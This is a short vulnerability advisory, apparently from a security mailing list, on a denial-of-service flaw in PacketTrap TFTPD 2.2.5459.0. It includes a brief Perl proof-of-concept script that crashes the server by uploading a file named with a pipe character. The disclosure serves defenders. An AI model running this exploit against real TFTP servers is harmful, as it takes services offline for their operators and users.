[EXPL] PacketTrap TFTPD DoS

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PacketTrap TFTPD DoS


A vulnerability in PacketTrap's TFTPD allows remote attackers to cause the
TFTP server to fail by sending it a pipe (|) character as the filename
that is being uploaded.


Vulnerable Systems:
* PacketTrap TFTPD version 2.2.5459.0

# Jeremy Brown [0xjbrown41@xxxxxxxxx/jbrownsec.blogspot.com]
# PacketTrap TFTPD DoS (latest 2.2.5459.0 tested) -- www.packettrap.com
# Must have Net::TFTP installed (easy to install, 'cpan' then 'install
Net::TFTP' ;)
# A product of tftpfuzz.pl (coming soon)

use Net::TFTP;
use Getopt::Std;

$tftp = Net::TFTP->new("");
$tftp->put("test", "|");



The information has been provided by <mailto:0xjbrown41@xxxxxxxxx> Jeremy


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